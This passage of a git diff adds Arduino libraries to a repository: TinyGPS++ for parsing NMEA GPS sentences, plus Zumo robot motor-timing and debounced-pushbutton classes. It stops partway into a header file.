KEYWORD2 +hour KEYWORD2 +minute KEYWORD2 +second KEYWORD2 +centisecond KEYWORD2 +value KEYWORD2 +knots KEYWORD2 +mph KEYWORD2 +mps KEYWORD2 +kmph KEYWORD2 +deg KEYWORD2 +billionths KEYWORD2 +negative KEYWORD2 +meters KEYWORD2 +miles KEYWORD2 +kilometers KEYWORD2 +feet KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + diff --git a/libraries/TinyGPSPlus-1.0.2/library.json b/libraries/TinyGPSPlus-1.0.2/library.json new file mode 100755 index 0000000..cdf6262 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/library.json @@ -0,0 +1,22 @@ +{ + "name": "TinyGPSPlus", + "version": "1.0.0", + "keywords": "gps,NMEA", + "description": "A new, customizable Arduino NMEA parsing library", + "repository": + { + "type": "git", + "url": "https://github.com/mikalhart/TinyGPSPlus.git" + }, + "authors": + [ + { + "name": "Mikal Hart", + "email": "mikal@arduniana.org", + "url": "http://arduiniana.org", + "maintainer": true + } + ], + "frameworks": "arduino", + "platforms": "*" +} diff --git a/libraries/TinyGPSPlus-1.0.2/library.properties b/libraries/TinyGPSPlus-1.0.2/library.properties new file mode 100755 index 0000000..b17e8b3 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/library.properties @@ -0,0 +1,9 @@ +name=TinyGPS++ +version=1.0.0 +author=Mikal Hart +maintainer=Mikal Hart +sentence=TinyGPS++ provides object-oriented parsing of GPS (NMEA) sentences +paragraph=NMEA is the standard format GPS devices use to report location, time, altitude, etc. TinyGPS++ is a compact, resilient library that parses the most common NMEA 'sentences' used: GGA and RMC. It can also be customized to extract data from *any* compliant sentence. +category=Communication +url=https://github.com/mikalhart/TinyGPSPlus +architectures=* diff --git a/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp new file mode 100755 index 0000000..e1ec777 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp @@ -0,0 +1,503 @@ +/* +TinyGPS++ - a small GPS library for Arduino providing universal NMEA parsing +Based on work by and "distanceBetween" and "courseTo" courtesy of Maarten Lamers. +Suggestion to add satellites, courseTo(), and cardinal() by Matt Monson. +Location precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include "TinyGPS++.h" + +#include +#include +#include + +#define _GPRMCterm "GPRMC" +#define _GPGGAterm "GPGGA" +#define _GNRMCterm "GNRMC" +#define _GNGGAterm "GNGGA" + +TinyGPSPlus::TinyGPSPlus() + : parity(0) + , isChecksumTerm(false) + , curSentenceType(GPS_SENTENCE_OTHER) + , curTermNumber(0) + , curTermOffset(0) + , sentenceHasFix(false) + , customElts(0) + , customCandidates(0) + , encodedCharCount(0) + , sentencesWithFixCount(0) + , failedChecksumCount(0) + , passedChecksumCount(0) +{ + term[0] = '\0'; +} + +// +// public methods +// + +bool TinyGPSPlus::encode(char c) +{ + ++encodedCharCount; + + switch(c) + { + case ',': // term terminators + parity ^= (uint8_t)c; + case '\r': + case '\n': + case '*': + { + bool isValidSentence = false; + if (curTermOffset < sizeof(term)) + { + term[curTermOffset] = 0; + isValidSentence = endOfTermHandler(); + } + ++curTermNumber; + curTermOffset = 0; + isChecksumTerm = c == '*'; + return isValidSentence; + } + break; + + case '$': // sentence begin + curTermNumber = curTermOffset = 0; + parity = 0; + curSentenceType = GPS_SENTENCE_OTHER; + isChecksumTerm = false; + sentenceHasFix = false; + return false; + + default: // ordinary characters + if (curTermOffset < sizeof(term) - 1) + term[curTermOffset++] = c; + if (!isChecksumTerm) + parity ^= c; + return false; + } + + return false; +} + +// +// internal utilities +// +int TinyGPSPlus::fromHex(char a) +{ + if (a >= 'A' && a <= 'F') + return a - 'A' + 10; + else if (a >= 'a' && a <= 'f') + return a - 'a' + 10; + else + return a - '0'; +} + +// static +// Parse a (potentially negative) number with up to 2 decimal digits -xxxx.yy +int32_t TinyGPSPlus::parseDecimal(const char *term) +{ + bool negative = *term == '-'; + if (negative) ++term; + int32_t ret = 100 * (int32_t)atol(term); + while (isdigit(*term)) ++term; + if (*term == '.' && isdigit(term[1])) + { + ret += 10 * (term[1] - '0'); + if (isdigit(term[2])) + ret += term[2] - '0'; + } + return negative ? -ret : ret; +} + +// static +// Parse degrees in that funny NMEA format DDMM.MMMM +void TinyGPSPlus::parseDegrees(const char *term, RawDegrees °) +{ + uint32_t leftOfDecimal = (uint32_t)atol(term); + uint16_t minutes = (uint16_t)(leftOfDecimal % 100); + uint32_t multiplier = 10000000UL; + uint32_t tenMillionthsOfMinutes = minutes * multiplier; + + deg.deg = (int16_t)(leftOfDecimal / 100); + + while (isdigit(*term)) + ++term; + + if (*term == '.') + while (isdigit(*++term)) + { + multiplier /= 10; + tenMillionthsOfMinutes += (*term - '0') * multiplier; + } + + deg.billionths = (5 * tenMillionthsOfMinutes + 1) / 3; + deg.negative = false; +} + +#define COMBINE(sentence_type, term_number) (((unsigned)(sentence_type) << 5) | term_number) + +// Processes a just-completed term +// Returns true if new sentence has just passed checksum test and is validated +bool TinyGPSPlus::endOfTermHandler() +{ + // If it's the checksum term, and the checksum checks out, commit + if (isChecksumTerm) + { + byte checksum = 16 * fromHex(term[0]) + fromHex(term[1]); + if (checksum == parity) + { + passedChecksumCount++; + if (sentenceHasFix) + ++sentencesWithFixCount; + + switch(curSentenceType) + { + case GPS_SENTENCE_GPRMC: + date.commit(); + time.commit(); + if (sentenceHasFix) + { + location.commit(); + speed.commit(); + course.commit(); + } + break; + case GPS_SENTENCE_GPGGA: + time.commit(); + if (sentenceHasFix) + { + location.commit(); + altitude.commit(); + } + satellites.commit(); + hdop.commit(); + break; + } + + // Commit all custom listeners of this sentence type + for (TinyGPSCustom *p = customCandidates; p != NULL && strcmp(p->sentenceName, customCandidates->sentenceName) == 0; p = p->next) + p->commit(); + return true; + } + + else + { + ++failedChecksumCount; + } + + return false; + } + + // the first term determines the sentence type + if (curTermNumber == 0) + { + if (!strcmp(term, _GPRMCterm) || !strcmp(term, _GNRMCterm)) + curSentenceType = GPS_SENTENCE_GPRMC; + else if (!strcmp(term, _GPGGAterm) || !strcmp(term, _GNGGAterm)) + curSentenceType = GPS_SENTENCE_GPGGA; + else + curSentenceType = GPS_SENTENCE_OTHER; + + // Any custom candidates of this sentence type? + for (customCandidates = customElts; customCandidates != NULL && strcmp(customCandidates->sentenceName, term) < 0; customCandidates = customCandidates->next); + if (customCandidates != NULL && strcmp(customCandidates->sentenceName, term) > 0) + customCandidates = NULL; + + return false; + } + + if (curSentenceType != GPS_SENTENCE_OTHER && term[0]) + switch(COMBINE(curSentenceType, curTermNumber)) + { + case COMBINE(GPS_SENTENCE_GPRMC, 1): // Time in both sentences + case COMBINE(GPS_SENTENCE_GPGGA, 1): + time.setTime(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 2): // GPRMC validity + sentenceHasFix = term[0] == 'A'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 3): // Latitude + case COMBINE(GPS_SENTENCE_GPGGA, 2): + location.setLatitude(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 4): // N/S + case COMBINE(GPS_SENTENCE_GPGGA, 3): + location.rawNewLatData.negative = term[0] == 'S'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 5): // Longitude + case COMBINE(GPS_SENTENCE_GPGGA, 4): + location.setLongitude(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 6): // E/W + case COMBINE(GPS_SENTENCE_GPGGA, 5): + location.rawNewLngData.negative = term[0] == 'W'; + break; + case COMBINE(GPS_SENTENCE_GPRMC, 7): // Speed (GPRMC) + speed.set(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 8): // Course (GPRMC) + course.set(term); + break; + case COMBINE(GPS_SENTENCE_GPRMC, 9): // Date (GPRMC) + date.setDate(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 6): // Fix data (GPGGA) + sentenceHasFix = term[0] > '0'; + break; + case COMBINE(GPS_SENTENCE_GPGGA, 7): // Satellites used (GPGGA) + satellites.set(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 8): // HDOP + hdop.set(term); + break; + case COMBINE(GPS_SENTENCE_GPGGA, 9): // Altitude (GPGGA) + altitude.set(term); + break; + } + + // Set custom values as needed + for (TinyGPSCustom *p = customCandidates; p != NULL && strcmp(p->sentenceName, customCandidates->sentenceName) == 0 && p->termNumber <= curTermNumber; p = p->next) + if (p->termNumber == curTermNumber) + p->set(term); + + return false; +} + +/* static */ +double TinyGPSPlus::distanceBetween(double lat1, double long1, double lat2, double long2) +{ + // returns distance in meters between two positions, both specified + // as signed decimal-degrees latitude and longitude. Uses great-circle + // distance computation for hypothetical sphere of radius 6372795 meters. + // Because Earth is no exact sphere, rounding errors may be up to 0.5%. + // Courtesy of Maarten Lamers + double delta = radians(long1-long2); + double sdlong = sin(delta); + double cdlong = cos(delta); + lat1 = radians(lat1); + lat2 = radians(lat2); + double slat1 = sin(lat1); + double clat1 = cos(lat1); + double slat2 = sin(lat2); + double clat2 = cos(lat2); + delta = (clat1 * slat2) - (slat1 * clat2 * cdlong); + delta = sq(delta); + delta += sq(clat2 * sdlong); + delta = sqrt(delta); + double denom = (slat1 * slat2) + (clat1 * clat2 * cdlong); + delta = atan2(delta, denom); + return delta * 6372795; +} + +double TinyGPSPlus::courseTo(double lat1, double long1, double lat2, double long2) +{ + // returns course in degrees (North=0, West=270) from position 1 to position 2, + // both specified as signed decimal-degrees latitude and longitude. + // Because Earth is no exact sphere, calculated course may be off by a tiny fraction. + // Courtesy of Maarten Lamers + double dlon = radians(long2-long1); + lat1 = radians(lat1); + lat2 = radians(lat2); + double a1 = sin(dlon) * cos(lat2); + double a2 = sin(lat1) * cos(lat2) * cos(dlon); + a2 = cos(lat1) * sin(lat2) - a2; + a2 = atan2(a1, a2); + if (a2 < 0.0) + { + a2 += TWO_PI; + } + return degrees(a2); +} + +const char *TinyGPSPlus::cardinal(double course) +{ + static const char* directions[] = {"N", "NNE", "NE", "ENE", "E", "ESE", "SE", "SSE", "S", "SSW", "SW", "WSW", "W", "WNW", "NW", "NNW"}; + int direction = (int)((course + 11.25f) / 22.5f); + return directions[direction % 16]; +} + +void TinyGPSLocation::commit() +{ + rawLatData = rawNewLatData; + rawLngData = rawNewLngData; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSLocation::setLatitude(const char *term) +{ + TinyGPSPlus::parseDegrees(term, rawNewLatData); +} + +void TinyGPSLocation::setLongitude(const char *term) +{ + TinyGPSPlus::parseDegrees(term, rawNewLngData); +} + +double TinyGPSLocation::lat() +{ + updated = false; + double ret = rawLatData.deg + rawLatData.billionths / 1000000000.0; + return rawLatData.negative ? -ret : ret; +} + +double TinyGPSLocation::lng() +{ + updated = false; + double ret = rawLngData.deg + rawLngData.billionths / 1000000000.0; + return rawLngData.negative ? -ret : ret; +} + +void TinyGPSDate::commit() +{ + date = newDate; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSTime::commit() +{ + time = newTime; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSTime::setTime(const char *term) +{ + newTime = (uint32_t)TinyGPSPlus::parseDecimal(term); +} + +void TinyGPSDate::setDate(const char *term) +{ + newDate = atol(term); +} + +uint16_t TinyGPSDate::year() +{ + updated = false; + uint16_t year = date % 100; + return year + 2000; +} + +uint8_t TinyGPSDate::month() +{ + updated = false; + return (date / 100) % 100; +} + +uint8_t TinyGPSDate::day() +{ + updated = false; + return date / 10000; +} + +uint8_t TinyGPSTime::hour() +{ + updated = false; + return time / 1000000; +} + +uint8_t TinyGPSTime::minute() +{ + updated = false; + return (time / 10000) % 100; +} + +uint8_t TinyGPSTime::second() +{ + updated = false; + return (time / 100) % 100; +} + +uint8_t TinyGPSTime::centisecond() +{ + updated = false; + return time % 100; +} + +void TinyGPSDecimal::commit() +{ + val = newval; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSDecimal::set(const char *term) +{ + newval = TinyGPSPlus::parseDecimal(term); +} + +void TinyGPSInteger::commit() +{ + val = newval; + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSInteger::set(const char *term) +{ + newval = atol(term); +} + +TinyGPSCustom::TinyGPSCustom(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber) +{ + begin(gps, _sentenceName, _termNumber); +} + +void TinyGPSCustom::begin(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber) +{ + lastCommitTime = 0; + updated = valid = false; + sentenceName = _sentenceName; + termNumber = _termNumber; + memset(stagingBuffer, '\0', sizeof(stagingBuffer)); + memset(buffer, '\0', sizeof(buffer)); + + // Insert this item into the GPS tree + gps.insertCustom(this, _sentenceName, _termNumber); +} + +void TinyGPSCustom::commit() +{ + strcpy(this->buffer, this->stagingBuffer); + lastCommitTime = millis(); + valid = updated = true; +} + +void TinyGPSCustom::set(const char *term) +{ + strncpy(this->stagingBuffer, term, sizeof(this->stagingBuffer)); +} + +void TinyGPSPlus::insertCustom(TinyGPSCustom *pElt, const char *sentenceName, int termNumber) +{ + TinyGPSCustom **ppelt; + + for (ppelt = &this->customElts; *ppelt != NULL; ppelt = &(*ppelt)->next) + { + int cmp = strcmp(sentenceName, (*ppelt)->sentenceName); + if (cmp < 0 || (cmp == 0 && termNumber < (*ppelt)->termNumber)) + break; + } + + pElt->next = *ppelt; + *ppelt = pElt; +} diff --git a/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h new file mode 100755 index 0000000..60485cb --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h @@ -0,0 +1,278 @@ +/* +TinyGPS++ - a small GPS library for Arduino providing universal NMEA parsing +Based on work by and "distanceBetween" and "courseTo" courtesy of Maarten Lamers. +Suggestion to add satellites, courseTo(), and cardinal() by Matt Monson. +Location precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef __TinyGPSPlus_h +#define __TinyGPSPlus_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif +#include + +#define _GPS_VERSION "1.0.2" // software version of this library +#define _GPS_MPH_PER_KNOT 1.15077945 +#define _GPS_MPS_PER_KNOT 0.51444444 +#define _GPS_KMPH_PER_KNOT 1.852 +#define _GPS_MILES_PER_METER 0.00062137112 +#define _GPS_KM_PER_METER 0.001 +#define _GPS_FEET_PER_METER 3.2808399 +#define _GPS_MAX_FIELD_SIZE 15 + +struct RawDegrees +{ + uint16_t deg; + uint32_t billionths; + bool negative; +public: + RawDegrees() : deg(0), billionths(0), negative(false) + {} +}; + +struct TinyGPSLocation +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + const RawDegrees &rawLat() { updated = false; return rawLatData; } + const RawDegrees &rawLng() { updated = false; return rawLngData; } + double lat(); + double lng(); + + TinyGPSLocation() : valid(false), updated(false) + {} + +private: + bool valid, updated; + RawDegrees rawLatData, rawLngData, rawNewLatData, rawNewLngData; + uint32_t lastCommitTime; + void commit(); + void setLatitude(const char *term); + void setLongitude(const char *term); +}; + +struct TinyGPSDate +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + + uint32_t value() { updated = false; return date; } + uint16_t year(); + uint8_t month(); + uint8_t day(); + + TinyGPSDate() : valid(false), updated(false), date(0) + {} + +private: + bool valid, updated; + uint32_t date, newDate; + uint32_t lastCommitTime; + void commit(); + void setDate(const char *term); +}; + +struct TinyGPSTime +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + + uint32_t value() { updated = false; return time; } + uint8_t hour(); + uint8_t minute(); + uint8_t second(); + uint8_t centisecond(); + + TinyGPSTime() : valid(false), updated(false), time(0) + {} + +private: + bool valid, updated; + uint32_t time, newTime; + uint32_t lastCommitTime; + void commit(); + void setTime(const char *term); +}; + +struct TinyGPSDecimal +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + int32_t value() { updated = false; return val; } + + TinyGPSDecimal() : valid(false), updated(false), val(0) + {} + +private: + bool valid, updated; + uint32_t lastCommitTime; + int32_t val, newval; + void commit(); + void set(const char *term); +}; + +struct TinyGPSInteger +{ + friend class TinyGPSPlus; +public: + bool isValid() const { return valid; } + bool isUpdated() const { return updated; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + uint32_t value() { updated = false; return val; } + + TinyGPSInteger() : valid(false), updated(false), val(0) + {} + +private: + bool valid, updated; + uint32_t lastCommitTime; + uint32_t val, newval; + void commit(); + void set(const char *term); +}; + +struct TinyGPSSpeed : TinyGPSDecimal +{ + double knots() { return value() / 100.0; } + double mph() { return _GPS_MPH_PER_KNOT * value() / 100.0; } + double mps() { return _GPS_MPS_PER_KNOT * value() / 100.0; } + double kmph() { return _GPS_KMPH_PER_KNOT * value() / 100.0; } +}; + +struct TinyGPSCourse : public TinyGPSDecimal +{ + double deg() { return value() / 100.0; } +}; + +struct TinyGPSAltitude : TinyGPSDecimal +{ + double meters() { return value() / 100.0; } + double miles() { return _GPS_MILES_PER_METER * value() / 100.0; } + double kilometers() { return _GPS_KM_PER_METER * value() / 100.0; } + double feet() { return _GPS_FEET_PER_METER * value() / 100.0; } +}; + +struct TinyGPSHDOP : TinyGPSDecimal +{ + double hdop() { return value() / 100.0; } +}; + +class TinyGPSPlus; +class TinyGPSCustom +{ +public: + TinyGPSCustom() {}; + TinyGPSCustom(TinyGPSPlus &gps, const char *sentenceName, int termNumber); + void begin(TinyGPSPlus &gps, const char *_sentenceName, int _termNumber); + + bool isUpdated() const { return updated; } + bool isValid() const { return valid; } + uint32_t age() const { return valid ? millis() - lastCommitTime : (uint32_t)ULONG_MAX; } + const char *value() { updated = false; return buffer; } + +private: + void commit(); + void set(const char *term); + + char stagingBuffer[_GPS_MAX_FIELD_SIZE + 1]; + char buffer[_GPS_MAX_FIELD_SIZE + 1]; + unsigned long lastCommitTime; + bool valid, updated; + const char *sentenceName; + int termNumber; + friend class TinyGPSPlus; + TinyGPSCustom *next; +}; + +class TinyGPSPlus +{ +public: + TinyGPSPlus(); + bool encode(char c); // process one character received from GPS + TinyGPSPlus &operator << (char c) {encode(c); return *this;} + + TinyGPSLocation location; + TinyGPSDate date; + TinyGPSTime time; + TinyGPSSpeed speed; + TinyGPSCourse course; + TinyGPSAltitude altitude; + TinyGPSInteger satellites; + TinyGPSHDOP hdop; + + static const char *libraryVersion() { return _GPS_VERSION; } + + static double distanceBetween(double lat1, double long1, double lat2, double long2); + static double courseTo(double lat1, double long1, double lat2, double long2); + static const char *cardinal(double course); + + static int32_t parseDecimal(const char *term); + static void parseDegrees(const char *term, RawDegrees °); + + uint32_t charsProcessed() const { return encodedCharCount; } + uint32_t sentencesWithFix() const { return sentencesWithFixCount; } + uint32_t failedChecksum() const { return failedChecksumCount; } + uint32_t passedChecksum() const { return passedChecksumCount; } + +private: + enum {GPS_SENTENCE_GPGGA, GPS_SENTENCE_GPRMC, GPS_SENTENCE_OTHER}; + + // parsing state variables + uint8_t parity; + bool isChecksumTerm; + char term[_GPS_MAX_FIELD_SIZE]; + uint8_t curSentenceType; + uint8_t curTermNumber; + uint8_t curTermOffset; + bool sentenceHasFix; + + // custom element support + friend class TinyGPSCustom; + TinyGPSCustom *customElts; + TinyGPSCustom *customCandidates; + void insertCustom(TinyGPSCustom *pElt, const char *sentenceName, int index); + + // statistics + uint32_t encodedCharCount; + uint32_t sentencesWithFixCount; + uint32_t failedChecksumCount; + uint32_t passedChecksumCount; + + // internal utilities + int fromHex(char a); + bool endOfTermHandler(); +}; + +#endif // def(__TinyGPSPlus_h) diff --git a/libraries/Zumo/PLab_ZumoMotors.cpp b/libraries/Zumo/PLab_ZumoMotors.cpp new file mode 100755 index 0000000..2e2a7b9 --- /dev/null +++ b/libraries/Zumo/PLab_ZumoMotors.cpp @@ -0,0 +1,126 @@ +#include "Arduino.h" +#include "PLab_ZumoMotors.h" +#include + + +#define ADMUX_VCCWRT1V1 (_BV(MUX3) | _BV(MUX2) | _BV(MUX1)) // DS AREF.. + +float Read_Zumo_Volts_AREF() +{ + int oldADMUX = ADMUX; + // Read 1.1V reference against AVcc + // set the reference to Vcc and the measurement to the internal 1.1V reference + if (ADMUX != ADMUX_VCCWRT1V1) + { + ADMUX = ADMUX_VCCWRT1V1; + // Bandgap reference start-up time: max 70us + // Wait for Vref to settle. + delayMicroseconds(350); + } + // Start conversion and wait for it to finish. + ADCSRA |= _BV(ADSC); + while (bit_is_set(ADCSRA,ADSC)) {}; + + // Result is now stored in ADC. + // Calculate Vcc (in V) + float vcc = 1.1*1023.0 / ADC; + + // Apply compensation + vcc = vcc * 1.77; // Zumo divider factor; + + ADMUX = oldADMUX; + return vcc; +} + +float calc_time(int _speed, float _length) { + double a = 24069*pow(_speed,-1.238); + double b = 5.7824*log(_speed) - 19.99; + double _time = _length * a + b; + float correction; + if (_speed > 100) { + correction = -0.0007*_speed + 1.154; + } else if (_speed > 50) { + correction = 0.0017*_speed + 0.9167; + } else { + correction = 0.0187*_speed + 0.0667; + }; + _time = _time / correction; + float battery_voltage = Read_Zumo_Volts_AREF(); + _time = _time * 5.2 / battery_voltage; + return _time; +} + +float calc_turn_length(int __speed) { + float _speed = __speed; + float y = 3.3375e-6*_speed*_speed*_speed - 0.00327*_speed*_speed + 1.0536*_speed - 28.595; + float _length = 10.0 * 90.0 / y; + return _length; +} + +PLab_ZumoMotors::PLab_ZumoMotors() +{ +} + +void PLab_ZumoMotors::forward(int _speed, int _length) +{ + motors.setSpeeds(0, 0); + float _time = calc_time(_speed,_length); + motors.setSpeeds(_speed, _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::backward(int _speed, int _length) +{ + motors.setSpeeds(0, 0); + float _time = calc_time(_speed,_length); + motors.setSpeeds(- _speed, - _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::turnRight(int _speed, int degrees) +{ + motors.setSpeeds(0, 0); + float _length = calc_turn_length(_speed); + _length = _length * degrees / 90.0; + float _time = calc_time(_speed,_length); + motors.setSpeeds(_speed, - _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + +void PLab_ZumoMotors::turnLeft(int _speed, int degrees) +{ + motors.setSpeeds(0, 0); + float _length = calc_turn_length(_speed); + _length = _length * degrees / 90.0; + float _time = calc_time(_speed,_length); + motors.setSpeeds(- _speed, _speed); + delay(_time); + motors.setSpeeds(0, 0); +} + + // enable/disable flipping of motors +void PLab_ZumoMotors::flipLeftMotor(boolean flip) { + motors.flipLeftMotor(flip); +} + + +void PLab_ZumoMotors::flipRightMotor(boolean flip) { + motors.flipRightMotor(flip); +} + + // set speed for left, right, or both motors + +void PLab_ZumoMotors::setLeftSpeed(int speed){ + motors.setLeftSpeed(speed); +} + +void PLab_ZumoMotors::setRightSpeed(int speed){ + motors.setRightSpeed(speed); +} + +void PLab_ZumoMotors::setSpeeds(int leftSpeed, int rightSpeed){ + motors.setSpeeds(leftSpeed, rightSpeed); +} \ No newline at end of file diff --git a/libraries/Zumo/PLab_ZumoMotors.h b/libraries/Zumo/PLab_ZumoMotors.h new file mode 100755 index 0000000..893a7b2 --- /dev/null +++ b/libraries/Zumo/PLab_ZumoMotors.h @@ -0,0 +1,35 @@ +/* + PLab_ZumoMotors.h - Library for Zumo. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PLab_ZumoMotors_h +#define PLab_ZumoMotors_h + +#include "Arduino.h" +#include + +class PLab_ZumoMotors +{ + public: + PLab_ZumoMotors(); + void forward(int _speed, int length); + void backward(int _speed, int _length); + void turnRight(int _speed, int degrees); + void turnLeft(int _speed, int degrees); + + // enable/disable flipping of motors + void flipLeftMotor(boolean flip); + void flipRightMotor(boolean flip); + + // set speed for left, right, or both motors + void setLeftSpeed(int speed); + void setRightSpeed(int speed); + void setSpeeds(int leftSpeed, int rightSpeed); + + private: + ZumoMotors motors; +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/Pushbutton.cpp b/libraries/Zumo/Pushbutton.cpp new file mode 100755 index 0000000..ede92f7 --- /dev/null +++ b/libraries/Zumo/Pushbutton.cpp @@ -0,0 +1,173 @@ +#include "Pushbutton.h" + +// constructor; takes arguments specifying whether to enable internal pull-up +// and the default state of the pin that the button is connected to +Pushbutton::Pushbutton(unsigned char pin, unsigned char pullUp, unsigned char defaultState) +{ + _pin = pin; + _pullUp = pullUp; + _defaultState = defaultState; + gsdpState = 0; + gsdrState = 0; + gsdpPrevTimeMillis = 0; + gsdrPrevTimeMillis = 0; + initialized = false; +} + +// wait for button to be pressed +void Pushbutton::waitForPress() +{ + init(); // initialize if necessary + + do + { + while (!_isPressed()); // wait for button to be pressed + delay(10); // debounce the button press + } + while (!_isPressed()); // if button isn't still pressed, loop +} + +// wait for button to be released +void Pushbutton::waitForRelease() +{ + init(); // initialize if necessary + + do + { + while (_isPressed()); // wait for button to be released + delay(10); // debounce the button release + } + while (_isPressed()); // if button isn't still released, loop +} + +// wait for button to be pressed, then released +void Pushbutton::waitForButton() +{ + waitForPress(); + waitForRelease(); +} + +// indicates whether button is pressed +boolean Pushbutton::isPressed() +{ + init(); // initialize if necessary + + return _isPressed(); +} + +// Uses a finite state machine to detect a single button press and returns +// true to indicate the press (false otherwise). It requires the button to be +// released for at least 15 ms and then pressed for at least 15 ms before +// reporting the press. This function handles all necessary debouncing and +// should be called repeatedly in a loop. +boolean Pushbutton::getSingleDebouncedPress() +{ + unsigned long timeMillis = millis(); + + init(); // initialize if necessary + + switch (gsdpState) + { + case 0: + if (!_isPressed()) // if button is released + { + gsdpPrevTimeMillis = timeMillis; + gsdpState = 1; // proceed to next state + } + break; + + case 1: + if ((timeMillis - gsdpPrevTimeMillis >= 15) && !_isPressed()) // if 15 ms or longer has elapsed and button is still released + gsdpState = 2; // proceed to next state + else if (_isPressed()) + gsdpState = 0; // button is pressed or bouncing, so go back to previous (initial) state + break; + + case 2: + if (_isPressed()) // if button is now pressed + { + gsdpPrevTimeMillis = timeMillis; + gsdpState = 3; // proceed to next state + } + break; + + case 3: + if ((timeMillis - gsdpPrevTimeMillis >= 15) && _isPressed()) // if 15 ms or longer has elapsed and button is still pressed + { + gsdpState = 0; // next state becomes initial state + return true; // report button press + } + else if (!_isPressed()) + gsdpState = 2; // button is released or bouncing, so go back to previous state + break; + } + + return false; +} + +// Uses a finite state machine to detect a single button release and returns +// true to indicate the release (false otherwise). It requires the button to be +// pressed for at least 15 ms and then released for at least 15 ms before +// reporting the release. This function handles all necessary debouncing and +// should be called repeatedly in a loop. +boolean Pushbutton::getSingleDebouncedRelease() +{ + unsigned int timeMillis = millis(); + + init(); // initialize if necessary + + switch (gsdrState) + { + case 0: + if (_isPressed()) // if button is pressed + { + gsdrPrevTimeMillis = timeMillis; + gsdrState = 1; // proceed to next state + } + break; + + case 1: + if ((timeMillis - gsdrPrevTimeMillis >= 15) && _isPressed()) // if 15 ms or longer has elapsed and button is still pressed + gsdrState = 2; // proceed to next state + else if (!_isPressed()) + gsdrState = 0; // button is released or bouncing, so go back to previous (initial) state + break; + + case 2: + if (!_isPressed()) // if button is now released + { + gsdrPrevTimeMillis = timeMillis; + gsdrState = 3; // proceed to next state + } + break; + + case 3: + if ((timeMillis - gsdrPrevTimeMillis >= 15) && !_isPressed()) // if 15 ms or longer has elapsed and button is still released + { + gsdrState = 0; // next state becomes initial state + return true; // report button release + } + else if (_isPressed()) + gsdrState = 2; // button is pressed or bouncing, so go back to previous state + break; + } + + return false; +} + +// initializes I/O pin for use as button inputs +void Pushbutton::init2() +{ + if (_pullUp == PULL_UP_ENABLED) + pinMode(_pin, INPUT_PULLUP); + else + pinMode(_pin, INPUT); // high impedance + + delayMicroseconds(5); // give pull-up time to stabilize +} + +// button is pressed if pin state differs from default state +inline boolean Pushbutton::_isPressed() +{ + return (digitalRead(_pin) == LOW) ^ (_defaultState == DEFAULT_STATE_LOW); +} \ No newline at end of file diff --git a/libraries/Zumo/Pushbutton.h b/libraries/Zumo/Pushbutton.h new file mode 